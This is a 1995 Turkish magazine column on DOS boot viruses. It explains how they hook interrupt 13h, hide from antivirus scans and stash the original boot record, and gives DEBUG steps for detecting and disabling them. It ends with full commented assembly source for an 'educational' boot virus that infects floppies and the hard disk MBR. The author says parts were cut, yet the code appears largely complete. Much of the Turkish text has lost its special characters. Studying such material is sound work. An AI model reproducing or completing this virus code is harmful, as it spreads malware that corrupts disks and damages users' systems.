  Ŀ
  Ŀ
   PS 20  Mart'95                                                        
             "Trkiye in alyoruz"  Virsler II                     
                                                                          
  ٳ
   Recep Tezkol 
  



> Merhaba Dostlar,

  Geen ay boot virslerini incelemeye balamtk.imdi kaldmz yerden
  devam edelim.

                                 
                                  
                                    
                                  
                                 


  BOOT Virsleri TSR Olmak Zorundalar
  
  Dosya virslerinde TSR olma art bulunmamakla birlikte, boot virsleri
  TSR olmak zorundadr. Bu nedenle boot virsleri, dier bellekte yerleik
  kalan programlar gibi iki blmden oluur.

    1.Blm:
        aKendisi iin gerekli bellei ayarlar.
        bKodunu bu bellek blgesine yerletirir.
        cDisk eriimlerinde aktif olmak iin interrupt 13h' ele geirir.
        dOrjinal boot programn ykleyerek aln devamn
          (dolaysyla kullancnn phelenmemesini) salar.

    2.Blm:
        aHer interrupt 13h arsnda virs aktif olarak,
          o anki artlara gre hareket eder. (Temiz disketlere
          bular, gerektiinde disketleri bozar vb..)
        bA kkndaki ilemlerden sonra kontrolu sisteme devreder.


 1.Blmde; bahsettiim int 13h'n ele geirilmesi virs iin hayati nem
  tar. Bildiiniz gibi her disk eriiminde bu kesme aktif olacandan,
  virs de bu kesmeyi ele geirdii iin aktif olacaktr. Bu sayede virs
  oalabilir, kendisini gizleyebilir veya kullancya zarar verebilir.
  Daha sonra aln devamn salayarak kullancnn phelenmesini nler.

 2.Blmde; yer alan, int 13h arlarna cevap veren rutin ounlukla
  DSKET'lere (zellikle okuma) eriim annda devreye girer. Bunun nedeni,
  sistemi daha fazla yavalatmamak iindir ki, dier fonksiyonlar virs iin
  anlamszdr. Virs bir diskete okuma ynnde eriileceini kendisi
  uyarldnda yazmalardaki deerlere bakarak anlar:

             Ah    = 2  disk(et)'ten sektr okunacan bildirir.
             Al    = ?  okunacak sektr says.
             Ch    = ?  track no.
             Cl    = ?  sektr no.
             Dh    = ?  kafa no.
             Dl    = ?  src no.(A=0,B=1,C=128...)
             ES:BX = okumann yaplaca tampon.

  Virslerin bu fonksiyonu maskeleyerek anti virs programlarn kolaylkla
  yanltabileceini hatrlatmak istiyorum.

  yle ki;

  Anti virs program, virs bellekte iken kontrol edecei disketin ilk
  sektrn okumak istedi. Burada virs program araya girerek yazmalar
  kontrol eder. Okunacak sektrlerin kendi kodunun bulunduu sektrler
  olduunu tespit ederse, yazmalar orjinal boot kaydnn bulunduu
  sektr okuyacak ekilde deitirerek kendi kodunu anti virs programdan
  gizleyebilir. Bu ve buna benzeyen zellikler baz virslerde mevcuttur.

  Boot virslerinin, orjinal boot kaydnn yerine, kendi kodunu kopyalayarak
  disketlere bulatn biliyoruz. Virs yerini ald orjinal boot kaydn
  sistemin ileyiini bozmamak iin saklamak zorundadr.
  Bunun iin genelde drt seenee sahiptir.

    1Root'un en son sektrnde saklar.
    2FAT'te bir (veya birka) sektr bozuk gstererek bu alanda saklar.
    3Korumaszca diskin en son sektrnde saklar.
    4Hard disklerde Master Boot Record'un altnda yer alan
      sektrlerde saklar.

  Eer virsn kodu 1 sektre (512 byte) smyorsa ayn ekilde kendi
  kodunun bir blmnde buralara saklayacaktr.

  Bir boot virsnn temizlenmesi iin, virs incelenerek boot kaydn
  saklad alan tespit edilip buradaki bilgiler yerine kopyalanmas
  yeterlidir.



  BOOT VRSLERN TEMZLEMEK N BRKA PF

  Bu blmde bahsedilen ilemleri uygulamak isteyenlere dikkatli olmalarn,
  tm sorumluluun kendilerine ait olduunu nemle hatrlatrm!

 Anti virs programlarn tanmad boot virslerini disketlerden
  temizlemek (etkisiz hale getirmek) iin DOS program olan DEBUG.EXE
  yeterlidir. Ama bunun iin ilk nce sisteminizin virssz olduundan
  emin olmanz gereklidir. Bunu  anlamak iin gene DEBUG'tan faydalanabiliriz.

  C: srcsnde iken; ( aada <enter> ile belirtilen yerde enter'a basmanz
  gerektiini bildirir)
      Ŀ
                                    
        C:\>DEBUG <enter>           
        -D0  <enter>                
                                    
      
  imdi ekrana aadaki gibi bir tablo gelecektir. Bu tablonun en solunda
  bulunan ':' iareti ile ayrlm sekiz adet rakkam segment ve offset
  adreslerini gsterir. Bu 8 rakkamdan sonra gelen hex saylar dizisinin 3. ve
  4. rakkamlar bize bellekte virs olup olmad hakknda bilgi verir.

  Aada grdnz tabloda bu rakkamlar '00 A0' olarak grlecektir. Bu
  deer DOS'un tand ve kulland paragraf miktarn gsterir. Eer bu
  deeri 16 (1 paragraf 16 byte'tr) ile arparsak sistemimizde bulunan
  bellein boyunu buluruz.

  Bunun iin nce sz konusu rakkamlarn yerlerini deitirmemiz gerekecektir.
  Yani 00 A0 deeri A0 00 olacak ve bu hex rakkam gnlk yaammzda
  kullandmz onluk say sistemine dntrdmzde hex A000 = dec 40960
  elde edeceiz.

  Bu, kullandmz DOS'un tand paragraf miktardr. Bunu 16 ile arparsak
  40960 * 16 = 655360 byte elde ederiz. 1 kilobyte 1024 byte olduuna gre;
  655360 / 1024 = 640 K byte olarak DOS'un kulland bellei buluruz.
  Yani belleimiz asalaklar tarafndan igal edilmemitir. Baz durumlarda
  (CONFIG.SYS dosyasnda DEVICE=C:\DOS\EMM386.EXE  gibi bir satrn bulunmas)
  00 A0 deerinin yerinde FF 9F bulunur. Bu bir nceki deerden bir paragraf
  eksik demektir. Yani 16 byte. Bu eksiklik yukarda bahsettiim programdan
  kaynaklandndan ve bir virsn 16 byte gibi kk bir alana
  smayacandan nemsizdir.

  DEBUG programn altrp D0 komutunu verdiimizde aada verdiim
  tabloda iaretli bulunan rakkamlar;

     00 A0  veya
     FF 9F  olmaldr.

  Bunun dnda bir eksiklik tespit ederseniz bu sisteminizde bir virsn
  habercisi olacaktr.

         VVvVVĿ
         127B:0000  CD 20 00 A0 00 9A EE FE-1D F0 4F 03 DF 0C 8A 03
         127B:0010  DF 0C 17 03 DF 0C 0C 0C-01 01 01 00 02 FF FF FF
         127B:0020  FF FF FF FF FF FF FF FF-FF FF FF FF C3 0C 4E 01
         127B:0030  9F 11 14 00 18 00 7B 12-FF FF FF FF 00 00 00 00
         127B:0040  06 14 00 00 00 00 00 00-00 00 00 00 00 00 00 00
         127B:0050  CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20
         127B:0060  20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20
         127B:0070  20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00
         -                                                         
         (debug programndan kmak iin Q yazp enter'a basn.)   
         

  Bu kontrol sonucu herhangi bir eksiklik tespit ettiimizde aklmza iki
  olaslk gelmelidir:

     1Bu eksiklik bir BOOT VRS tarafndan,
     2Veya bir DOSYA VRS tarafndan meydana gelmitir.

  Bunu ayrmak iin yine DEBUG programn kullanacaz.
      Ŀ
                                
        C:\>debug <enter>       
        -D0:413 <enter>         
                                
      
  Bunun sonucunda karmza yine bir tablo kacaktr. Aada grdnz
  tabloda dikkate alnacak deer iaretlenmitir.

  Bu deer 80 02 'dir. Bu hex say 280 = dec 640 karlk gelir. Yani bu
  bellein 640 Kbyte olduunu herhangi bir eksiin olmadn gsterir.
  Burada bulunan bir eksiklik byk bir ihtimalle bir BOOT VRS'nn eseri
  olacaktr.

         VVvVVĿ
         0000:0410           80 02 01 08 20-00 00 26 00 26 00 34 05
         0000:0420  31 02 33 04 0D 1C E0 48-0D 1C 0D 1C 0D 1C 0D 1C
         0000:0430  E0 50 E0 48 E0 48 E0 4D-64 20 30 0B 3A 35 00 10
         0000:0440  00 00 C0 00 00 00 00 00-00 03 50 00 00 10 00 00
         0000:0450  00 18 00 00 00 00 00 00-00 00 00 00 00 00 00 00
         0000:0460  0E 0D 00 D4 03 29 30 76-07 D2 1A FF CB D7 0D 00
         0000:0470  00 00 00 00 00 01 08 00-14 14 14 3C 01 01 01 01
         0000:0480  1E 00 3E 00 18 10 00 60-09 11 0B 81 58 01 00 43
         0000:0490  07 93 00                                       
         

 Bellein temiz olup olmadn rendik. (Bellekte virs tespit ettiinizde
  bilgisayarnz temiz bir sistem disketi ile anz.)

  Sra virsl olduunu sandnz (HARD DISK deil! Aman dikkat!)
  DSKET'lerin zerindeki virs etkisiz hale getirmeye geldi. Bu i iin de
  DEBUG programn rahatlkla kullanabiliriz.
      Ŀ
                                                                 
        C:\>DEBUG  <enter>                                       
        -L100 00 00 01  <enter> Disketin ilk sektrn oku.      
        -E100  EB FE    <enter> 100.ofsete  JMP  komutunu koy.   
        -W100 00 00 01  <enter> Bunlar ilk sektre yaz.         
        -Q              <enter> DEBUG'tan k.                 
                                                                 
      
  Burada disketin ilk sektrn bellee okutup, boot programnn ilk
  komutunun yerine bir sonsuz dng yapacak komut yerletirip, bunu
  disketin ilk sektrne yazdryoruz.


 Boot virsleri bilgisayarn al srasnda disketlerin srcde
  unutulmas ile yayldn biliyoruz. Eer yukardaki ilemi yaptmz
  bir disket ile bilgisayarmz amaya kalkarsak boot programnn bana
  koyduumuz sonsuz dng nedeniyle bilgisayar almayacaktr. Virsn kodu
  diskette bulunsa da bu kod almayacandan nemi yoktur.

  Burada dikkat edilmesi gereken tek nokta yukarda bahsedilen i A: srcs
  iin geerlidir.

                BU LEM SSTEM DSKETLERNZE YAPMAYINIZ!

 Hard disklerde FDISK /MBR komutu, virsn temizlenmesi iin ounlukla
  yeterlidir.



  Sra Geld ASSEMBLY Programclarna:

 Bu ay boot virsleri konusunu bitirmek istiyorum. Bir aksilik kmazsa
  gelecek ay dosya virslerine balayacaz.

 Bu sre iinde sizlere incelemeniz iin bir boot virs kodu veriyorum.
  "Hain programclar" sevindirmemek iin kodun baz blmlerini krptm.
  Bu nedenle virs bu haliyle almayacaktr.

 Gelecek ay grebilmek umuduyla,

          Hoakaln...



Ŀ
 Eitim Amal BOOT VRS (incelemek iin)                                 


label word
Main      proc near
          jmp short Basla
          db 90h
          db 59 dup(?)      ;disk parametre blou iin ayrlmtr.

Basla:
          xor ax,ax         ;AX=0
          mov ds,ax         ;DS=0
          cli               ;kesmeleri kapa
          mov ss,ax         ;SS=0
          dec ax            ;ax= -1
          mov sp,ax         ;SP=FFFF
          sti               ;kesmeleri a
          mov ax,ds:[413h]  ;AX=bellek boyu
          dec ax            ;1kb azalt
          mov ds:[413h],ax  ;yerine koy
          mov cl,6h         ;
          shl ax,cl         ;ax=ax*64
          mov es,ax         ;es=alnan bellein segmenti.

          mov word ptr ds:[7c00h+AtlaSeg],ax  ;aada 'db 0eah'JMP xxxx:xxxx
          ;komutu ile virs ald bellekte almasna devam edecektir.
          ;hangi segmente dallanacan atlaseg deikenine koyuyoruz.
          ;bu dallanma olmal. nk bu segmente orjinal boot program
          ;kopyalanacaktr.

          xchg ax,word ptr ds:[13h*4+2]   ;int 13h'n interrupt vektr
          ;tablosundaki segment adresi ax'e, ax'teki deerde onun yerine.

          mov word ptr ds:[7c00h+Kesme+2],ax ;gerek int 13h'n segment
          ;adresini sakla

          mov ax,Int13Bas  ;int 13h arldnda aktif olacak rutinin
          ;offset adresini....

          xchg ax,word ptr ds:[13h*4] ;int.vektr tablosuna,oradaki ofs.
          ;adresini ax'e yerletir.

          mov word ptr ds:[7c00h+Kesme],ax ;orj.offset adresini sakla.
          mov cx,512            ;512 bayt
          mov si,7c00h          ;ds:si 'den  0000:7c00h
          xor di,di             ;es:di 'ye   (alnan bellee)
          cld                   ;
          rep movsb             ;virs kodunu kopyala
          db 0eah               ;bundan sonra ilemlere
          dw SegDegis           ;alnan bellekte devam.JMP AtlaSeg:SegDegis
AtlaSeg   equ ($-Taban)         ;buradaki dallanma gerekte bir alt satrdaki
          dw ?                  ;koda oluyor.CPU'su yanlz 8088 olan
;bilgisayarlarda alan boot virslerinde bu ilem 'mov cs,ax' gibi
;sonraki ilemcilerde olmayan bir kod ile oluyor.(PING PONG virsn buna
rnek verebiliriz.)

;programn bu ksmnn almas alnan bellekte devam edilir.
SegDegis  equ ($-Taban)
          push ds               ;ds'nin deeri 0 idi.
          pop es                ;ES=0
          mov ax,0201h          ;1 sektr oku
          mov bx,7c00h          ;ES:BX(0:7c00h)
          mov cx,0005h          ;0.track ,5.sektrden
          cmp dl,80h            ;src C: mi ?
          jnz floppy            ;deilse floppy
          mov dh,00h            ;kafa no 0
          pushf                 ;orjinal boot kaydn oku
          call dword ptr cs:[Kesme]; ve
          jmp Cikis             ;kontrolu 0:7c00h'a devret.
floppy:
          mov dh,01h            ;disketlerde kafa no 1
          pushf
          call dword ptr cs:[Kesme] ;orj.boot oku
          jb Cikis              ;okumada hata varsa kontrolu 0:7c00h'a devret.

          mov dl,80h            ;okuma baarl ise src no 80h
                                ;yani hard disk'e
          call Bulastir         ;virs bulatr.
Cikis:
          xor ax,ax             ;yazmalar sfrla.
          mov bx,ax
          mov cx,ax
          mov dx,ax
          mov ds,ax
          mov es,ax
          cli
          mov ss,ax
          mov sp,0400h
          sti
          db 0eah                       ;JMP 0000:7C00h
          dw 7c00h
          dw 0000h


Int13Bas  equ ($-Taban)
          push  ds          ;ds yazmacn sakla
          push  ax          ;ax yazmacn sakla
          or ah,ah          ;ah 0 deilse
          jnz CikInt13      ;orj. int 13h
          or dl,dl          ;dl 0 deilse  (A:srcs)
          jnz CikInt13      ;orj int 13h
          call Bulastir     ;bulatr.
CikInt13:
          pop ax ds         ; ax ds yazmaclarn dzelt
          jmp dword ptr cs:[Kesme]   ;jamp orj.int 13h

;gelelim u mehur bulatrma ilemine..

Bulastir:
          push bx cx dx di si es     ;yazmalar sakla
          mov si,2                   ;
Tekrar:
          mov cx,1                   ;
          mov bx,200h                ;bufferin offset adresi(virs ardna)
          mov ax,0201h               ;bir sektr okunacak
          push cs                    ;virsn bulunduu segment adresi
          pop es                     ;es yazmacna
          xor dh,dh                  ;kafa no
          pushf
          call dword ptr cs:[Kesme]  ;oku bakiim
          jnb Okundu                 ;
          xor ax,ax                  ;ax=0
          pushf                      ;okumada hata var
          call dword ptr cs:[Kesme]  ;resetle
          dec si                     ;si 'yi bir azalt
          jnz Tekrar                 ;si 0 deilse tekrar dene
          stc                        ;
          jmp CikBulasmadan          ;hala okunamyorsa bover aldrma.

Okundu:
          mov si,Int13Bas            ; int13bas ile belirtilen
          push cs                    ; adresteki 1 word okunan
          pop  ds                    ; sektrdeki word ile
          mov ax,[si]                ; karlatrlyor
          cmp ax,[si+0200h]          ;
          jz  CikBulasmadan          ; eit ise bulalmayacak.
          mov cx,003bh               ;
          mov di,0003                ;okunan disketin parametre blou
          mov si,0203h               ;virs zerindeki alana kopyalanyor
          cld
          rep movsb
          mov di,01beh               ;partition table
          mov cx,0042h               ;virs zerindeki alana
          mov si,03beh               ;kopyalanyor.
          rep movsb                  ;
          mov bx,0200h               ;disk(et)'ten okunan bilgiler
          mov ax,0301h               ;
          mov cx,0005h               ;0. track, 5. sektr'e
          mov dh,01h                 ;disket ise kafa no 1
          cmp dl,0                   ;
          jz YazFloppy               ;yazlacak
          xor dh,dh                  ;hard ise kafa no 0
YazFloppy:
          pushf
          call dword ptr cs:[kesme]  ;yazlyor.
          jb CikBulasmadan           ;hata varsa bover.
          xor bx,bx                  ;virsn kendi kodunu disk(et)'te
          mov ax,0301h               ; yazacak.
          xor dh,dh                  ;
          mov cl,01h                 ;
          pushf                      ;
          call dword ptr cs:[Kesme]
CikBulasmadan:
          pop es si di dx cx bx      ;yazmalar dzelt ve dn.
          ret

Kesme     equ ($-Taban)
          dd ?
mesaj     equ ($-Taban)
          db"DENEME (Eitim) AMALI VRS..."
Boyu      equ ($-Taban)
          db (510-Boyu) dup (0)
          db 55h,0aah
